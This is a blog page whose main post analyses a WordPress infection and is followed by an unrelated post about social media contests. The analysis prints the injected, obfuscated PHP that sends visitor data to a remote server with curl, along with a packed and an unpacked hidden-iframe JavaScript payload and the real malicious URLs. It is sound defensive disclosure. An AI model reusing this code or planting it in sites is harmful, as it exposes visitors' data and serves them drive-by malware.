Blog

Complex WordPress Header Javascript and IFrame Injection Problem, Solution and Analysis

While working on a development site, that sat idle before any actual work was done for a while, we noticed that some kind of iframe injection had occured. There was no trace of it in the database or the server code, nothing that said iFrame, nothing that added extra scripts. This was a brand new website, template from scratch with no plugins and no content…I Was pulling my hair out, but slowly started getting on to the situation, and with the help of Mike Brich from HavenLight Software, got right down to it after hours of investigation and head scratching. This post will be very code intensive, but with full explanations, just a warning, I am jumping right into it!! Overview Bottom line this is how it works: Something Injects Code into wp-settings.php function counter_wordpress is decoded and sends a CURL request to a third party server with your computer info. CURL sends a string from third party server and injects javascript javascript communicates with yet another server and injects an iframe iFrame injects all sorts of other scripts, popups, java programs, and other iFrames from other servers. CURL’d server logs your IP and computer information, and the next time you visit hides itself, or prevents itself from showing its payload, for a while. Repeat. Jump to Solution Jump to Analysis Jump to Questions The Problem The iFrame injection did not appear on my browsers, or any other browser in my office. It seemed to appear only on browsers coming from a IP that hadn’t encountered it before, or at least hadn’t for a while. On success or failure of delivering its payload, it hid! Not only from machines, but from Bots too, Googlebot and Googles malware scans saw nothing coming from this site, it was bizarre. I scanned the source code of the entire wordpress install for any traces of traditional injections or Iframes, but there were none. There was nothing in the database either. I disabled and removed all plugins, and it was still there. The behavior of the code was strange also, it would load the script, show a Java wants to run warning, then on refresh start loading data from various sources as the iFrame was inserted, I found out later that the script had a 5 second delay when loading the iFrame, which didn’t allow me to catch it as I was refreshing, and also, I am sure, helps avoiding automated scans, including Google’s Malware scans. After loading once it would disappear, never to return. I couldn’t see it, however something interesting started to happen. Refreshing the page over and over in the source code, shows an error that appeared on the site and showed up in the source code where the original Injection occured, right before the end of </head> <html> <head> <title>The page is temporarily unavailable</title> <style> body { font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body bgcolor=”white” text=”black”> <table width=”100%” height=”100%”> <tr> <td align=”center” valign=”middle”> The page you are looking for is temporarily unavailable.<br/> Please try again later. </td> </tr> </table> </body> </html>   This made it seem as if another website was loading inside mine, since the opening and closing html tags were a dead giveaway. I started to search for this issue and pretty quickly found out that this was an error message from a web server running nginx, an open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server meant for servers with limited system resources. The server was errorign out, perhaps too many sites are connected at once and its DoSing itself. So, confirmed, my website is loading another website in its header. This is the code that was being used, please be careful and do not click on any links in this document that are in code blocks. <script type=’text/javascript’>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘d 9(){5=2.e(\’7\’);f(!5){8 0=2.c(\’3\’);2.g.h(0);0.6=\’7\’;0.1.a=\’4\’;0.1.b=\’4\’;0.1.n=\’i\’;0.r=\’s://q.o.j/3.k?6=l\’}}8 t=m(“9()”,p);’,30,30,’el|style|document|iframe|1px|element|id|yahoo_api|var|MakeFrameEx|width|height|createElement|function|getElementById|if|body|appendChild|none|pl|php|2b8325qvzjut0iv8b87u9nlxnan0kpc|setTimeout|display|345|500|sokistatehouse|src|http|’.split(‘|’),0,{})) </script> <IFRAME style=”display:none” SRC=”http://finderonlinesearch.com/tds/in.cgi?5&user=mexx” WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME><meta name=”Cart66Version” content=”Professional 1.2.2″ /> </head> It is messy code, difficult to understand with the naked eye, why? Because, as Mike found out, its packed. Here is what it looks like unpacked. function MakeFrameEx() { element = document.getElementById(‘yahoo_api’); if (!element) { var el = document.createElement(‘iframe’); document.body.appendChild(el); el.id = ‘yahoo_api’; el.style.width = ‘1px’; el.style.height = ‘1px’; el.style.display = ‘none’; el.src = ‘http://hardpancakes.xe.cx/showthread.php?t=72291731′ } } var ua = navigator.userAgent.toLowerCase(); if (((ua.indexOf(“msie”) != -1 && ua.indexOf(“opera”) == -1 && ua.indexOf(“webtv”) == -1)) && ua.indexOf(“windows”) != -1) { var t = setTimeout(“MakeFrameEx()”, 500) } Interesting URL! Where does it go? Interestingly enough to a 404 page on a nginx server, as suspected. So where is the iFrame, and where the hell is this packed javascript function getting loaded into the header? Now I go back to my searches, I can’t find any mention of the iFrame URL the new unencoded URL, or even “MakeFrameEx” anywhere in the source code. so I decided to search again for anything with the words wp_head, which can be done like this: # grep -Rin ‘wp_head’ yourdirectory I look again at the function “counter_wordpress” that I had overlooked as a valid system file, that just looked overly complex (I thought it was part of wordpress.com’s tracker). It wasn’t. This is the function that was sitting right above do_action(‘init’) in wp-settings.php: function counter_wordpress() {$_F=__FILE__;$_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’;eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’));$ua = urlencode(strtolower($_SERVER[‘HTTP_USER_AGENT’]));$ip = $_SERVER[‘REMOTE_ADDR’];$host = $_SERVER[‘HTTP_HOST’];$uri = urlencode($_SERVER[‘REQUEST_URI’]);$ref = urlencode($_SERVER[‘HTTP_REFERER’]);$url = $url.’?ip=’.$ip.’&host=’.$host.’&uri=’.$uri.’&ua=’.$ua.’&ref=’.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action(‘wp_head’, ‘counter_wordpress’); There it is, a ridiculously over encoded piece of code that gets injected into wp_head. I am going to move onto the solution now, and then go back to analyze this bit of code, and pose some questions because I still can’t answer precisely on how it got in there in the first place. The Solution Firstly, go to your main wordpress directory and type: # ls -al Take note of any files that have changed recently versus others, most of your wordpress config files should have the same modified date, except maybe wp-config.php wp-settings.php is the file I found infected, but you may find it elsewhere. Remove the function counter_wordpress() including the it’s wordpress hook add_action(‘wp_head’, ‘counter_wordpress’); If you do not have this function in your wp-settings, it may show up somewhere else but you can be sure that it will be followed by an add_action(‘wp_head’, ‘function_name’);  that is not supposed to be there. Find it and remove it immediatly. If you cannot find the code in the wp-settings.php file I suggest running the following command: # grep -Rin ‘wp_head’ yourdirectory Where yourdirectory is the directory in question, this will give you a list of files, line numbers, and code where wp_head exists in your install, which is a requirement for the code to install itself…(imagine if they had encrypted THAT and evaled it, would be impossible to find.) After removing this function you should find that your error message, Injected Javascript and Injected iFrames all stop loading. After you remove the function check your permissions in your wordpress root directory and all other directories, make sure they are set to 755 or even more stringent, mine was not and I suspect that there is some other WordPress vulnerability that took advantage of that, of which I cannot identify. The Analysis Lets dig deeper, how does this thing work? It is encrypted after all… Here is the PHP  function, a bit more legible: function counter_wordpress() { $_F=__FILE__; $_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’; eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’)); $ua = urlencode(strtolower($_SERVER[‘HTTP_USER_AGENT’])); $ip = $_SERVER[‘REMOTE_ADDR’]; $host = $_SERVER[‘HTTP_HOST’]; $uri = urlencode($_SERVER[‘REQUEST_URI’]); $ref = urlencode($_SERVER[‘HTTP_REFERER’]); $url = $url.’?ip=’.$ip.’&host=’.$host.’&uri=’.$uri.’&ua=’.$ua.’&ref=’.$ref; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $re = curl_exec($ch); curl_close($ch); echo $re; } add_action(‘wp_head’, ‘counter_wordpress’); As we can see, this is a average CURL operation, but to where is it sending? We have all the params but the URL, which is concatenated from…somewhere… Actually it has alot to do with that variable $_X which is encoded about 3 or 4 times, as you will see: Evaluation Process This is the process of evaluation: $_X = an Encoded String Another String is Decoded which accepts $_X Inside that code is another Encoded form of $_X Inside that same Code, the new decoded form of $_X is run through strtr function, which replaced letters and numbers with other letters and numbers. Inside taht same code $_R is set and ereg _replace ran through $_R  with $_X Inside that same code, $_R is evaluated Inside that same code $_R and $_X are set to null so you cant echo them outside of the encoding. Then the entire thing is evaluated, giving you $url Evaluation Breakdown Lets break it down: $_F=__FILE__; Encryption Layer 1: $_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’; eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’)); Encryption Layer 2: $_X=base64_decode($_X);$_X=strtr($_X,’123456aouie’,’aouie123456′);$_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X);eval($_R);$_R=0;$_X=0;  Encryption Layer 3: $_X=base64_decode($_X); Result: ?><?php $3rl = ‘http://96.69e.a6e.o0/bt.php’; ?>  Encryption Layer 4: $_X=strtr($_X,’123456aouie’,’aouie123456′); Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?> Encryption Layer 5: $_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X); Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?> Evaluate Command: eval($_R); Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?> $_R=0;$_X=0; Set these to 0 so you can’t echo them without recreating the encryption process step by step. Final Result of Encryption: $url =  ‘http://91.196.216.30/bt.php’; $ua = urlencode(strtolower($_SERVER[‘HTTP_USER_AGENT’])); $ip = $_SERVER[‘REMOTE_ADDR’]; $host = $_SERVER[‘HTTP_HOST’]; $uri = urlencode($_SERVER[‘REQUEST_URI’]); $ref = urlencode($_SERVER[‘HTTP_REFERER’]); $url = $url.’?ip=’.$ip.’&host=’.$host.’&uri=’.$uri.’&ua=’.$ua.’&ref=’.$ref; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $re = curl_exec($ch); curl_close($ch); echo $re; } Complex! This is an enourmous amount of work to encrypt and throw off an investigator trying to figure out what happened to their site. It is an amazing level of complexity, kudos to the designer! This will make sure that you cannot search for ANY of the words, URL’s or text in your wordpress files or databases, there is no algorithm to do a search for something of this complexity, it was hard enough to break it down! All of this encoding to hide the URL: http://91.196.216.30/bt.php. The end result is that the script sends this data to the server, with all parameters, and echos whatever the server decides to spit back, in my case, it was the compressed javascript code, shown here uncompressed again for convenience: function MakeFrameEx() { element = document.getElementById(‘yahoo_api’); if (!element) { var el = document.createElement(‘iframe’); document.body.appendChild(el); el.id = ‘yahoo_api’; el.style.width = ‘1px’; el.style.height = ‘1px’; el.style.display = ‘none’; el.src = ‘http://hardpancakes.xe.cx/showthread.php?t=72291731′ } } var ua = navigator.userAgent.toLowerCase(); if (((ua.indexOf(“msie”) != -1 && ua.indexOf(“opera”) == -1 && ua.indexOf(“webtv”) == -1)) && ua.indexOf(“windows”) != -1) { var t = setTimeout(“MakeFrameEx()”, 500) } This code does a strange check to see if the user agent is internet explorer, opera, webtv or windows and if it is, or isnt, sets a timeout to make a iFrame with the previous code. This delay is perfect for stopping detection from bots, crawlers, and some passers by. It causes confusion when troubleshooting it as well. The interesting thing about this malicious code is that it uses well known names, such as yahoo_api to create a new element. This bit of code contacts a website known as hardpankaces.xe.cx, which then delivers its payload by opening up an iFrame to http://finderonlinesearch.com/tds/in.cgi?5&user=mexx. Note that the website in the iFrame was different earlier while troubleshooting, than it was shown, but the user always =mexx, whcih I found odd.  I found the javascript snippet on Pastebin of all places, posted by a guest with no comments. I was interested, where the hell are these domains going, and where is the IP Address located for the originating server that initializes the script? Frankfurt, Germany And Moscow, Russia. Here are the tracert logs and whois records, you can form opinions yourselves: Tracert  – Script Originating IP: Tracing route to 91.196.216.30 over a maximum of 30 hops 4 * * 23 ms 99.167.141.18 5 21 ms 20 ms 20 ms 12.83.70.9 6 22 ms 22 ms 22 ms fldfl01jt.ip.att.net [12.122.81.25] 7 30 ms 23 ms 23 ms 192.205.36.254 8 45 ms 36 ms 36 ms ae-32-52.ebr2.Miami1.Level3.net [4.69.138.126] 9 53 ms 47 ms 53 ms ae-2-2.ebr2.Atlanta2.Level3.net [4.69.140.142] 10 47 ms 47 ms 53 ms ae-73-73.ebr3.Atlanta2.Level3.net [4.69.148.253] 11 65 ms 69 ms 69 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 12 74 ms 74 ms 74 ms ae-91-91.csw4.Washington1.Level3.net [4.69.134.1 42] 13 64 ms 70 ms 64 ms ae-92-92.ebr2.Washington1.Level3.net [4.69.134.1 57] 14 149 ms 143 ms 150 ms ae-43-43.ebr2.Paris1.Level3.net [4.69.137.57] 15 148 ms 154 ms 154 ms ae-46-46.ebr1.Frankfurt1.Level3.net [4.69.143.13 7] 16 148 ms 154 ms 148 ms ae-61-61.csw1.Frankfurt1.Level3.net [4.69.140.2] 17 148 ms 154 ms 147 ms ae-1-60.edge3.Frankfurt1.Level3.net [4.69.154.7] 18 155 ms 155 ms 158 ms IPTRIPLEPLA.edge3.Frankfurt1.Level3.net [212.162 .40.194] 19 358 ms 197 ms 192 ms te7-2-pontiac.stk.citytelecom.ru [217.65.1.229] 20 186 ms 180 ms 186 ms te4-4-adelaida.spb.citytelecom.ru [217.65.1.201] 21 187 ms 178 ms 185 ms 62.152.42.134 22 215 ms 214 ms 220 ms 91.196.216.30 Whois – Script Originating IP: inetnum: 91.196.216.0 – 91.196.219.255 netname: SPETSENERGO-NET descr: SpetsEnergo Ltd. country: RU org: ORG-SL138-RIPE admin-c: KDS23-RIPE tech-c: KDS23-RIPE remarks: SPAM issues: [email protected] remarks: Network security issues: [email protected] remarks: General and other information: [email protected] status: ASSIGNED PI mnt-by: RIPE-NCC-END-MNT mnt-by: MNT-SPETSENERGO mnt-lower: RIPE-NCC-END-MNT mnt-routes: MNT-SPETSENERGO mnt-domains: MNT-SPETSENERGO source: RIPE #Filtered organisation: ORG-SL138-RIPE org-name: SpetsEnergo Ltd. tech-c: KDS23-RIPE admin-c: KDS23-RIPE remarks: SPAM issues: [email protected] remarks: Network security issues: [email protected] remarks: General and other information: [email protected] org-type: OTHER address: Russia, 127422, Moscow, Timiryazevskaya st, 11 mnt-ref: MNT-SPETSENERGO mnt-by: MNT-SPETSENERGO source: RIPE #Filtered person: Kruchkov Dmitry Sergeevich address: Russia, 127422, Moscow, Timiryazevskaya st, 11 abuse-mailbox: [email protected] phone: +7 916 959 2268 nic-hdl: KDS23-RIPE source: RIPE #Filtered route: 91.196.216.0/22 descr: SPETSENERGO origin: AS43239 mnt-by: MNT-SPETSENERGO source: RIPE #Filtered Tracert: http://hardpancakes.xe.cx/showthread.php?t=7229173 (46.4.108.18) 5 21 ms 21 ms 20 ms 12.83.70.9 6 44 ms 23 ms 22 ms fldfl01jt.ip.att.net [12.122.81.25] 7 30 ms 29 ms 23 ms 192.205.36.254 8 36 ms 35 ms 35 ms ae-32-52.ebr2.Miami1.Level3.net [4.69.138.126] 9 43 ms 36 ms 42 ms ae-2-2.ebr2.Atlanta2.Level3.net [4.69.140.142] 10 42 ms 38 ms 43 ms ae-73-73.ebr3.Atlanta2.Level3.net [4.69.148.253] 11 54 ms 53 ms 60 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 12 53 ms 58 ms 59 ms ae-81-81.csw3.Washington1.Level3.net [4.69.134.1 38] 13 57 ms 59 ms 53 ms ae-82-82.ebr2.Washington1.Level3.net [4.69.134.1 53] 14 146 ms 134 ms 140 ms ae-44-44.ebr2.Paris1.Level3.net [4.69.137.61] 15 139 ms 138 ms 146 ms ae-48-48.ebr1.Frankfurt1.Level3.net [4.69.143.14 5] 16 139 ms 144 ms 144 ms ae-81-81.csw3.Frankfurt1.Level3.net [4.69.140.10 ] 17 139 ms 144 ms 138 ms ae-3-80.edge3.Frankfurt1.Level3.net [4.69.154.13 5] 18 139 ms 145 ms 180 ms HETZNER-ONL.edge3.Frankfurt1.Level3.net [212.162 .40.206] 19 157 ms 158 ms 149 ms hos-bb1.juniper1.fs.hetzner.de [213.239.240.242] 20 153 ms 144 ms 144 ms hos-tr1.ex3k10.rz14.hetzner.de [213.239.224.139] 21 150 ms 144 ms 150 ms static.18.108.4.46.clients.your-server.de [46.4. 108.18] Trace complete. Whois: http://hardpancakes.xe.cx/showthread.php?t=7229173 (46.4.108.18) inetnum: 46.4.108.0 – 46.4.108.31 netname: HETZNER-RZ14 descr: Hetzner Online AG descr: Datacenter 14 country: DE admin-c: HOAC1-RIPE tech-c: HOAC1-RIPE status: ASSIGNED PA mnt-by: HOS-GUN mnt-lower: HOS-GUN mnt-routes: HOS-GUN source: RIPE #Filtered role: Hetzner Online AG – Contact Role address: Hetzner Online AG address: Stuttgarter Stra?e 1 address: D-91710 Gunzenhausen address: Germany phone: +49 9831 61 00 61 fax-no: +49 9831 61 00 62 abuse-mailbox: [email protected] remarks: ************************************************* remarks: * For spam/abuse/security issues please contact * remarks: * [email protected] , not this address * remarks: ************************************************* remarks: remarks: ************************************************* remarks: * Any questions on Peering please send to * remarks: * [email protected] * remarks: ************************************************* org: ORG-HOA1-RIPE admin-c: MH375-RIPE tech-c: GM834-RIPE tech-c: RB1502-RIPE tech-c: SK2374-RIPE tech-c: ND762-RIPE tech-c: TF2013-RIPE tech-c: MF1400-RIPE nic-hdl: HOAC1-RIPE mnt-by: HOS-GUN source: RIPE #Filtered route: 46.4.0.0/16 descr: HETZNER-RZ-FKS-BLK3 origin: AS24940 org: ORG-HOA1-RIPE mnt-by: HOS-GUN source: RIPE #Filtered Update Delete organisation: ORG-HOA1-RIPE org-name: Hetzner Online AG org-type: LIR address: Hetzner Online AG Attn. Martin Hetzner Stuttgarter Str. 1 91710 Gunzenhausen GERMANY phone: +49 9831 610061 fax-no: +49 9831 610062 admin-c: DM93-RIPE admin-c: GM834-RIPE admin-c: HOAC1-RIPE admin-c: MH375-RIPE admin-c: RB1502-RIPE admin-c: SK2374-RIPE admin-c: TF2013-RIPE admin-c: MF1400-RIPE mnt-ref: HOS-GUN mnt-ref: RIPE-NCC-HM-MNT mnt-by: RIPE-NCC-HM-MNT source: RIPE #Filtered Tracert: http://finderonlinesearch.com/tds/in.cgi?5&user=mexx (78.159.112.180) 5 21 ms 21 ms 22 ms 12.83.70.9 6 22 ms 22 ms 21 ms fldfl01jt.ip.att.net [12.122.81.25] 7 29 ms 27 ms 29 ms 192.205.36.254 8 24 ms 23 ms 29 ms 4.69.138.91 9 64 ms 71 ms 70 ms ae-2-2.ebr1.Dallas1.Level3.net [4.69.140.133] 10 64 ms 70 ms 64 ms ae-91-91.csw4.Dallas1.Level3.net [4.69.151.161] 11 66 ms 71 ms 64 ms ae-93-93.ebr3.Dallas1.Level3.net [4.69.151.170] 12 71 ms 70 ms 64 ms ae-7-7.ebr3.Atlanta2.Level3.net [4.69.134.22] 13 87 ms 80 ms 86 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 14 83 ms 87 ms 80 ms ae-81-81.csw3.Washington1.Level3.net [4.69.134.1 38] 15 81 ms 87 ms 81 ms ae-82-82.ebr2.Washington1.Level3.net [4.69.134.1 53] 16 168 ms 167 ms 161 ms ae-41-41.ebr2.Paris1.Level3.net [4.69.137.49] 17 172 ms 166 ms 166 ms ae-48-48.ebr1.Frankfurt1.Level3.net [4.69.143.14 5] 18 172 ms 167 ms 172 ms ae-61-61.csw1.Frankfurt1.Level3.net [4.69.140.2] 19 167 ms 183 ms 167 ms ae-1-60.edge4.Frankfurt1.Level3.net [4.69.154.8] 20 295 ms 203 ms 199 ms 212.162.5.234 21 182 ms 177 ms 176 ms 89-149-218-34.internetserviceteam.com [89.149.21 8.34] 22 183 ms 180 ms 182 ms 89-149-218-178.gatewayrouter.net [89.149.218.178 ] 23 183 ms 175 ms 182 ms 78.159.112.180 Trace complete. Whois: http://finderonlinesearch.com/tds/in.cgi?5&user=mexx (78.159.112.180) inetnum: 78.159.112.0 – 78.159.115.255 netname: NETDIRECT-NET descr: Leaseweb Germany GmbH (previously netdirekt e. K.) remarks: INFRA-AW country: DE admin-c: WW200-RIPE tech-c: SR614-RIPE status: ASSIGNED PA mnt-by: NETDIRECT-MNT mnt-lower: NETDIRECT-MNT mnt-routes: NETDIRECT-MNT source: RIPE #Filtered person: Wiethold Wagner address: Leaseweb Germany GmbH (previously netdirekt e. K.) address: Kleyer Strasse 79 / Tor 14 address: 60326 Frankfurt address: DE phone: +49 69 90556880 fax-no: +49 69 905568822 abuse-mailbox: [email protected] nic-hdl: WW200-RIPE mnt-by: NETDIRECT-MNT source: RIPE #Filtered person: Simon Roehl address: Leaseweb Germany GmbH (previously netdirekt e. K.) address: Kleyer Strasse 79 /Tor 14 address: 60326 Frankfurt address: DE phone: +49 69 90556880 fax-no: +49 69 905568822 abuse-mailbox: [email protected] nic-hdl: SR614-RIPE mnt-by: NETDIRECT-MNT source: RIPE #Filtered route: 78.159.96.0/19 descr: ORG-nA8-RIPE origin: AS28753 org: ORG-nA8-RIPE mnt-lower: NETDIRECT-MNT mnt-routes: NETDIRECT-MNT mnt-by: NETDIRECT-MNT source: RIPE #Filtered organisation: ORG-nA8-RIPE org-name: netdirect org-type: LIR address: netdirekt e. K. Kleyer Strasse 79 / Tor 14 60326 Frankfurt Germany phone: +49 69 90556880 fax-no: +49 69 905568822 admin-c: SR614-RIPE admin-c: WW200-RIPE mnt-ref: NETDIRECT-MNT mnt-ref: RIPE-NCC-HM-MNT mnt-by: RIPE-NCC-HM-MNT source: RIPE #Filtered Permissions Permissions are important, and here is where it gets confusion, I am not sure If it was I that left the permissions on this specific account so open (757) or if someone else logged in and did it, or if there was some WordPress vulnerability that was able to do this, but the permissions on all the files were different than my safe and unaffected installs. I am assuming that there is some vulnerability in WordPress that allows a user to write to these directories if the permissions are set in such a way, but I have no evidence or lead as to what it was that did it. Notice in the examples below that the dirty folder structure has wp-settings.php modified sometime in September, but other wp- files modified around the same day of installation, this was not me, as I modifying it to fix it on the 13th. Example Clean Folder Structure rw-r–r– 1 root root 561 Jun 2 13:53 .htaccess -rw-r–r– 1 root root 397 Sep 15 15:16 index.php -rw-r–r– 1 root root 16899 Sep 15 15:17 license.txt -rw-r–r– 1 root root 9202 Sep 15 15:16 readme.html -rw-r–r– 1 root root 4343 Sep 15 15:16 wp-activate.php drwxr-xrwx 9 root root 4096 Sep 15 15:17 wp-admin -rw-r–r– 1 root root 40243 Sep 15 15:16 wp-app.php -rw-r–r– 1 root root 226 Sep 15 15:16 wp-atom.php -rw-r–r– 1 root root 274 Sep 15 15:16 wp-blog-header.php -rw-r–r– 1 root root 3931 Sep 15 15:16 wp-comments-post.php -rw-r–r– 1 root root 244 Sep 15 15:16 wp-commentsrss2.php -rwxr-xrwx 1 root root 3471 Sep 19 10:04 wp-config.php -rw-r–r– 1 root root 3177 Sep 15 15:16 wp-config-sample.php drwxr-xrwx 8 root root 4096 Sep 19 10:04 wp-content -rw-r–r– 1 root root 1255 Sep 15 15:16 wp-cron.php -rw-r–r– 1 root root 246 Sep 15 15:16 wp-feed.php drwxr-xrwx 8 root root 4096 Sep 15 15:17 wp-includes -rw-r–r– 1 root root 1997 Sep 15 15:16 wp-links-opml.php -rw-r–r– 1 root root 2525 Sep 15 15:16 wp-load.php -rw-r–r– 1 root root 27601 Sep 15 15:16 wp-login.php -rw-r–r– 1 root root 7774 Sep 15 15:16 wp-mail.php -rw-r–r– 1 root root 494 Sep 15 15:16 wp-pass.php -rw-r–r– 1 root root 224 Sep 15 15:17 wp-rdf.php -rw-r–r– 1 root root 334 Sep 15 15:17 wp-register.php -rw-r–r– 1 root root 226 Sep 15 15:16 wp-rss2.php -rw-r–r– 1 root root 224 Sep 15 15:16 wp-rss.php -rw-r–r– 1 root root 9839 Sep 15 15:17 wp-settings.php -rw-r–r– 1 root root 18646 Sep 15 15:17 wp-signup.php -rw-r–r– 1 root root 3702 Sep 15 15:17 wp-trackback.php -rw-r–r– 1 root root 3266 Sep 15 15:16 xmlrpc.php Example Dirty Folder Structure drwxr-xr-x 5 root root 4096 Sep 29 23:05 . drwxr-xr-x 3 root root 4096 Oct 10 17:42 .. -rwxr-xr-x 1 root root 200 Aug 25 17:29 .htaccess -rwxr-xrwx 1 root root 397 May 25 2008 index.php -rwxr-xrwx 1 root root 16899 Jun 8 13:18 license.txt -rwxr-xrwx 1 root root 9202 Jul 12 13:24 readme.html -rwxr-xrwx 1 root root 4343 May 6 22:26 wp-activate.php drwxr-xrwx 9 root root 4096 Jul 12 14:24 wp-admin -rwxr-xrwx 1 root root 40243 Jun 1 17:03 wp-app.php -rwxr-xrwx 1 root root 226 Dec 9 2010 wp-atom.php -rwxr-xrwx 1 root root 274 Nov 20 2010 wp-blog-header.php -rwxr-xrwx 1 root root 3931 Dec 9 2010 wp-comments-post.php -rwxr-xrwx 1 root root 244 Dec 9 2010 wp-commentsrss2.php -rwxr-xrwx 1 root root 3166 Aug 24 19:21 wp-config.php drwxr-xrwx 6 root root 4096 Oct 12 19:21 wp-content -rwxr-xrwx 1 root root 1255 Mar 16 2010 wp-cron.php -rwxr-xrwx 1 root root 246 Dec 9 2010 wp-feed.php drwxr-xrwx 8 root root 4096 Sep 30 01:35 wp-includes -rwxr-xrwx 1 root root 1997 Oct 23 2010 wp-links-opml.php -rwxr-xrwx 1 root root 2525 Jun 29 11:50 wp-load.php -rwxr-xrwx 1 root root 27601 Jun 22 14:45 wp-login.php -rwxr-xrwx 1 root root 7774 May 25 2010 wp-mail.php -rwxr-xrwx 1 root root 494 Dec 9 2010 wp-pass.php -rwxr-xrwx 1 root root 224 Dec 9 2010 wp-rdf.php -rwxr-xrwx 1 root root 334 Dec 9 2010 wp-register.php -rwxr-xrwx 1 root root 226 Dec 9 2010 wp-rss2.php -rwxr-xrwx 1 root root 224 Dec 9 2010 wp-rss.php -rwxr-xrwx 1 root root 10969 Sep 12 05:39 wp-settings.php -rwxr-xrwx 1 root root 18646 May 22 17:30 wp-signup.php -rwxr-xrwx 1 root root 3702 Feb 24 2010 wp-trackback.php -rwxr-xrwx 1 root root 3266 Apr 17 03:35 xmlrpc.php The Questions How did it get in? I have no idea. My permissions were set way too losely on this site, I believe they were set to 757 whereas all my others are 755 or less. This gives public access to write to the server. Still…what did they use to access and write to the server? There was only one username, my box has no other user accounts on it, and FTP is disabled, I only use SSH and SFTP. It is puzzling, any insights or suggestions are appreciated. Who are these Russians / Germans that are hosting these sites? What are they trying to pull? I would love to recreate the injection on my own on a clean box and browser to see what javascript and data it pulls from the other sites, I’d have to install something to sniff out the data coming between the injected iFrame and javascript and the site, but thats for another day when I actually have time! My next step should probably be to e-mail these people, or give them a ring, see if they even know this is happening through their servers. I hope this article has been helpful, I look forward to further analysis in comments!  

Read more

10 Steps to Create Social Media Contests, How To and NOT To Do a Contest

Social media contests have been all the rage for a while now.  Some social media contests have had phenomenal results and created a huge buzz about the company, many flop and go nowhere, and some end up pissing people off.  I was inspired this morning by a contest that falls into the “pissed me off” category and I suppose I should thank them for the inspiration. Below I list 10 Steps to Creating an Amazing and Creative Social Media Contest and also some links to examples of very successful contests, but first the story of my inspiration… A friend sent me a link to a contest via Twitter (good example of contest going viral) for Dropbox Premium for Life.  I love Dropbox so the prospect of Premium for life was a prize worth winning (see #3 below) so I entered.  The contest was from @appsumo, it was easy to enter (#$ below), a prize I wanted, so I am in!  So far so good, I am a happy fan of @appsumo, at least for a few days… The next day I get an email with more contests and deals from @appsumo via email.  OK that was kind of quick, but I’ll take a peek, nothing interesting, email gets deleted.  Then day 2 another email, more of the same, email deleted. Day three ditto, deleted.  Day 4, ditto, unsubscribed, BUT this is where it gets interesting! When I unsubscribed I got the usual sorry to see you go message AND a note that by unsubscribing I am no longer eligible for the prize!  Now that was not only annoying, but it seemed unfair, and really pissed me off (also inspired me). In writing this blog I went to the www.appsumo.com website to review it (yes I am begrudgingly giving them a link in this blog only as an example).  I found some other examples of really annoying and outdated marketing practices.  After about 30 secs to a minute on the site a PopUp appears over the entire screen asking “What Do You Think of this Deal? Like or Hate”.  Again, this kind of tactic is from the 90’s and I thought it was largely obsolete, but apparently some still think it is clever or cute. This is a great example of how not to run a contest.  Great start, but then they spammed me with daily emails that really weren’t all that interesting, and then when I unsubscribed they hold the prize hostage in a sad attempt to keep the the former fan engaged.  Too late, by spamming me daily they already lost me, and then the prize hostage situation clearly told me this is not a company I want to be a fan of or follow.  By the way, if I had any doubts, I received yet another email AFTER unsubscribing with more “deals” and had to unsubscribe again (and yes I did get a confirmation screen the first time). I suspect Appsumo is doing just fine since there are many companies that still subscribe (pun) to this marketing approach of screaming at customers and they think daily emails with “deals” is somehow clever.  It certainly is not in line with our approach at Esotech and we would never advise a client to use any of these outdated and annoying tactics. So much for the How Not to 